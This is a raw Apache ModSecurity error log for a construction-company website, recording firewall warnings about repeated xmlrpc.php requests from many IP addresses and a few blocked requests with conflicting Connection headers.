[Thu Apr 16 18:43:42.706147 2026] [:error] [pid 49094:tid 49108] [client 180.93.52.173:40830] [client 180.93.52.173] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.93.52.173, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeC9XjbDwvcXorHR_MyC_gAAAUw"]
[Thu Apr 16 18:45:54.519329 2026] [:error] [pid 57639:tid 57652] [client 185.199.223.27:51948] [client 185.199.223.27] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.199.223.27, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeC94qMCQoTw7TsxWuktaQAAAMY"]
[Thu Apr 16 18:47:13.866045 2026] [:error] [pid 49094:tid 49114] [client 85.128.143.151:36142] [client 85.128.143.151] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.128.143.151, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeC-MTbDwvcXorHR_MyElQAAAVI"]
[Thu Apr 16 18:48:04.049904 2026] [:error] [pid 49094:tid 49113] [client 45.92.108.157:38660] [client 45.92.108.157] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.92.108.157, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeC-ZDbDwvcXorHR_MyFWAAAAVE"]
[Thu Apr 16 18:49:17.835705 2026] [:error] [pid 57639:tid 57651] [client 20.212.251.69:35146] [client 20.212.251.69] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.212.251.69, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeC-raMCQoTw7TsxWukw7gAAAMU"]
[Thu Apr 16 18:52:03.732281 2026] [:error] [pid 57536:tid 57559] [client 146.59.70.139:41562] [client 146.59.70.139] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 146.59.70.139, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeC_UyQU4faGja6jpDs8rgAAAAs"]
[Thu Apr 16 18:53:05.735442 2026] [:error] [pid 49094:tid 49109] [client 138.197.129.229:54218] [client 138.197.129.229] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.197.129.229, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeC_kTbDwvcXorHR_MyILwAAAU0"]
[Thu Apr 16 18:53:20.354171 2026] [:error] [pid 57538:tid 57615] [client 176.96.136.90:57730] [client 176.96.136.90] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 176.96.136.90, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeC_oMuMaiEF5SVR2Be_EgAAAI0"]
[Thu Apr 16 18:56:29.090164 2026] [:error] [pid 57537:tid 57597] [client 144.91.86.124:53848] [client 144.91.86.124] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 144.91.86.124, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDAXVVQRS8nm73ENAmewwAAAFY"]
[Thu Apr 16 18:58:29.379741 2026] [:error] [pid 57639:tid 57655] [client 123.30.233.48:33226] [client 123.30.233.48] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 123.30.233.48, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDA1aMCQoTw7TsxWuk2MwAAAMk"]
[Thu Apr 16 18:59:04.229671 2026] [:error] [pid 57639:tid 57666] [client 20.212.251.69:56712] [client 20.212.251.69] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.212.251.69, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDA-KMCQoTw7TsxWuk2wwAAANQ"]
[Thu Apr 16 18:59:32.538326 2026] [:error] [pid 57639:tid 57667] [client 159.89.50.224:43120] [client 159.89.50.224] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.89.50.224, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDBFKMCQoTw7TsxWuk2_AAAANU"]
[Thu Apr 16 19:01:19.659873 2026] [:error] [pid 57536:tid 57570] [client 212.129.7.184:37970] [client 212.129.7.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.129.7.184, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDBfyQU4faGja6jpDtApwAAABY"]
[Thu Apr 16 19:03:46.970422 2026] [:error] [pid 49094:tid 49096] [client 117.210.185.246:47650] [client 117.210.185.246] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 117.210.185.246, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDCEjbDwvcXorHR_MyMqAAAAUA"]
[Thu Apr 16 19:04:08.310843 2026] [:error] [pid 7880:tid 7893] [client 117.210.185.246:10658] [client 117.210.185.246] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 117.210.185.246, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDCKKaezm4fSGc0yUJ6bAAAAYg"]
[Thu Apr 16 19:04:19.155454 2026] [:error] [pid 29603:tid 29627] [client 117.210.185.246:28290] [client 117.210.185.246] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 117.210.185.246, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDCM1fGOR6fpTWUAzpxvwAAARY"]
[Thu Apr 16 19:04:29.861868 2026] [:error] [pid 49094:tid 49115] [client 117.210.185.246:46849] [client 117.210.185.246] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 117.210.185.246, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDCPTbDwvcXorHR_MyM0gAAAVM"]
[Thu Apr 16 19:04:40.575122 2026] [:error] [pid 29603:tid 29608] [client 117.210.185.246:3746] [client 117.210.185.246] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 117.210.185.246, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDCSFfGOR6fpTWUAzpxzgAAAQM"]
[Thu Apr 16 19:04:51.334898 2026] [:error] [pid 57639:tid 57667] [client 117.210.185.246:27938] [client 117.210.185.246] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 117.210.185.246, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDCU6MCQoTw7TsxWuk7dQAAANU"]
[Thu Apr 16 19:10:27.897726 2026] [:error] [pid 57536:tid 57559] [client 43.130.101.151:51264] [client 43.130.101.151] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aeDDoyQU4faGja6jpDtEYAAAAAs"]
[Thu Apr 16 19:10:48.790172 2026] [:error] [pid 49094:tid 49114] [client 107.170.74.222:50202] [client 107.170.74.222] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 107.170.74.222, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDDuDbDwvcXorHR_MyQTgAAAVI"]
[Thu Apr 16 19:13:32.742800 2026] [:error] [pid 57639:tid 57668] [client 54.38.122.177:45644] [client 54.38.122.177] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.38.122.177, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDEXKMCQoTw7TsxWulAFAAAANY"]
[Thu Apr 16 19:15:21.028179 2026] [:error] [pid 57639:tid 57650] [client 178.62.28.91:41762] [client 178.62.28.91] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.62.28.91, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDEyaMCQoTw7TsxWulBtwAAAMQ"]
[Thu Apr 16 19:15:38.716919 2026] [:error] [pid 49094:tid 49116] [client 103.110.84.178:39960] [client 103.110.84.178] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.110.84.178, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDE2jbDwvcXorHR_MyUCAAAAVQ"]
[Thu Apr 16 19:16:58.564956 2026] [:error] [pid 7880:tid 7896] [client 103.110.84.178:35238] [client 103.110.84.178] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.110.84.178, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDFKqaezm4fSGc0yUJ_DwAAAYs"]
[Thu Apr 16 19:18:29.931911 2026] [:error] [pid 7880:tid 7909] [client 103.177.249.114:36906] [client 103.177.249.114] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.177.249.114, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDFhaaezm4fSGc0yUJ_iQAAAZg"]
[Thu Apr 16 19:18:31.854602 2026] [:error] [pid 57639:tid 57664] [client 173.249.55.89:48666] [client 173.249.55.89] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.249.55.89, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDFh6MCQoTw7TsxWulDvAAAANI"]
[Thu Apr 16 19:25:24.110109 2026] [:error] [pid 49094:tid 49100] [client 52.226.240.29:5761] [client 52.226.240.29] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 52.226.240.29, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDHJDbDwvcXorHR_MybAQAAAUQ"]
[Thu Apr 16 19:33:24.885082 2026] [:error] [pid 57639:tid 57660] [client 195.242.102.130:32966] [client 195.242.102.130] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 195.242.102.130, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDJBKMCQoTw7TsxWulSDAAAAM4"]
[Thu Apr 16 19:36:14.878364 2026] [:error] [pid 57536:tid 57569] [client 157.66.27.55:49172] [client 157.66.27.55] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.66.27.55, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDJriQU4faGja6jpDtRtwAAABU"]
[Thu Apr 16 19:38:02.009805 2026] [:error] [pid 7880:tid 7892] [client 85.128.143.134:39548] [client 85.128.143.134] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.128.143.134, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDKGqaezm4fSGc0yUKGvAAAAYc"]
[Thu Apr 16 19:39:15.405082 2026] [:error] [pid 57536:tid 57549] [client 160.250.187.3:39192] [client 160.250.187.3] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 160.250.187.3, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDKYyQU4faGja6jpDtSgwAAAAE"]
[Thu Apr 16 19:41:43.765305 2026] [:error] [pid 49094:tid 49114] [client 43.157.20.63:54440] [client 43.157.20.63] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "aeDK9zbDwvcXorHR_MylzwAAAVI"]
[Thu Apr 16 19:44:18.194039 2026] [:error] [pid 57537:tid 57594] [client 137.184.25.215:53306] [client 137.184.25.215] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.184.25.215, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDLklVQRS8nm73ENAmoNwAAAFM"]
[Thu Apr 16 19:47:39.060924 2026] [:error] [pid 49094:tid 49101] [client 138.122.43.166:59966] [client 138.122.43.166] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.122.43.166, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDMWzbDwvcXorHR_MyojwAAAUU"]
[Thu Apr 16 19:51:02.506350 2026] [:error] [pid 57536:tid 57559] [client 172.176.155.194:48886] [client 172.176.155.194] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.176.155.194, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDNJiQU4faGja6jpDtWoAAAAAs"]
[Thu Apr 16 19:52:13.203724 2026] [:error] [pid 57536:tid 57570] [client 103.205.142.28:37704] [client 103.205.142.28] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.205.142.28, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDNbSQU4faGja6jpDtXigAAABY"]
[Thu Apr 16 19:52:35.696850 2026] [:error] [pid 57639:tid 57654] [client 52.206.118.176:40726] [client 52.206.118.176] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 52.206.118.176, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDNg6MCQoTw7TsxWulglAAAAMg"]
[Thu Apr 16 19:52:35.749653 2026] [:error] [pid 57639:tid 57651] [client 148.251.75.145:53130] [client 148.251.75.145] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 148.251.75.145, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDNg6MCQoTw7TsxWulglQAAAMU"]
[Thu Apr 16 19:58:06.826621 2026] [:error] [pid 57639:tid 57655] [client 172.238.64.140:42958] [client 172.238.64.140] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.238.64.140, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDOzqMCQoTw7TsxWulm8wAAAMk"]
[Thu Apr 16 19:58:38.159161 2026] [:error] [pid 49094:tid 49106] [client 103.39.132.40:43748] [client 103.39.132.40] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.39.132.40, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDO7jbDwvcXorHR_MywSAAAAUo"]
[Thu Apr 16 20:03:50.939070 2026] [:error] [pid 57639:tid 57660] [client 82.223.33.117:60852] [client 82.223.33.117] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.223.33.117, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDQJqMCQoTw7TsxWultVwAAAM4"]
[Thu Apr 16 20:08:40.178595 2026] [:error] [pid 49094:tid 49112] [client 138.199.146.196:40330] [client 138.199.146.196] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.199.146.196, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDRSDbDwvcXorHR_My2IgAAAVA"]
[Thu Apr 16 20:12:57.560066 2026] [:error] [pid 57536:tid 57552] [client 137.184.69.218:21948] [client 137.184.69.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.184.69.218, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDSSSQU4faGja6jpDthMAAAAAQ"]
[Thu Apr 16 20:13:13.618965 2026] [:error] [pid 29603:tid 29629] [client 157.245.42.243:35722] [client 157.245.42.243] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.245.42.243, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDSWVfGOR6fpTWUAzqFUQAAARg"]
[Thu Apr 16 20:15:39.905331 2026] [:error] [pid 57536:tid 57568] [client 51.83.35.19:59152] [client 51.83.35.19] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.83.35.19, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDS6yQU4faGja6jpDthxwAAABQ"]
[Thu Apr 16 20:15:54.183264 2026] [:error] [pid 7880:tid 7904] [client 52.226.240.29:5760] [client 52.226.240.29] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 52.226.240.29, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDS-qaezm4fSGc0yUKUyAAAAZM"]
[Thu Apr 16 20:16:13.952793 2026] [:error] [pid 7880:tid 7907] [client 66.70.178.228:47218] [client 66.70.178.228] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.70.178.228, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDTDaaezm4fSGc0yUKU3AAAAZY"]
[Thu Apr 16 20:16:31.893336 2026] [:error] [pid 57536:tid 57563] [client 38.113.191.66:53968] [client 38.113.191.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 38.113.191.66, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDTHyQU4faGja6jpDth9gAAAA8"]
[Thu Apr 16 20:16:35.707323 2026] [:error] [pid 7880:tid 7905] [client 147.182.180.16:34078] [client 147.182.180.16] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 147.182.180.16, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDTI6aezm4fSGc0yUKVBwAAAZQ"]
[Thu Apr 16 20:19:33.954973 2026] [:error] [pid 7880:tid 7887] [client 85.214.232.59:35764] [client 85.214.232.59] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.214.232.59, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDT1aaezm4fSGc0yUKVsgAAAYI"]
[Thu Apr 16 20:23:04.693931 2026] [:error] [pid 49094:tid 49118] [client 143.244.166.58:50072] [client 143.244.166.58] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.244.166.58, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDUqDbDwvcXorHR_My7TAAAAVY"]
[Thu Apr 16 20:29:22.788657 2026] [:error] [pid 49094:tid 49112] [client 35.234.37.132:34392] [client 35.234.37.132] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.234.37.132, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDWIjbDwvcXorHR_My_EAAAAVA"]
[Thu Apr 16 20:30:59.179109 2026] [:error] [pid 49094:tid 49111] [client 157.230.98.69:33262] [client 157.230.98.69] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.230.98.69, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDWgzbDwvcXorHR_My_2AAAAU8"]
[Thu Apr 16 20:31:15.018601 2026] [:error] [pid 7880:tid 7887] [client 185.199.223.39:40790] [client 185.199.223.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.199.223.39, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDWk6aezm4fSGc0yUKZMQAAAYI"]
[Thu Apr 16 20:35:40.825640 2026] [:error] [pid 49094:tid 49096] [client 82.223.24.195:48614] [client 82.223.24.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.223.24.195, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDXnDbDwvcXorHR_MzCxgAAAUA"]
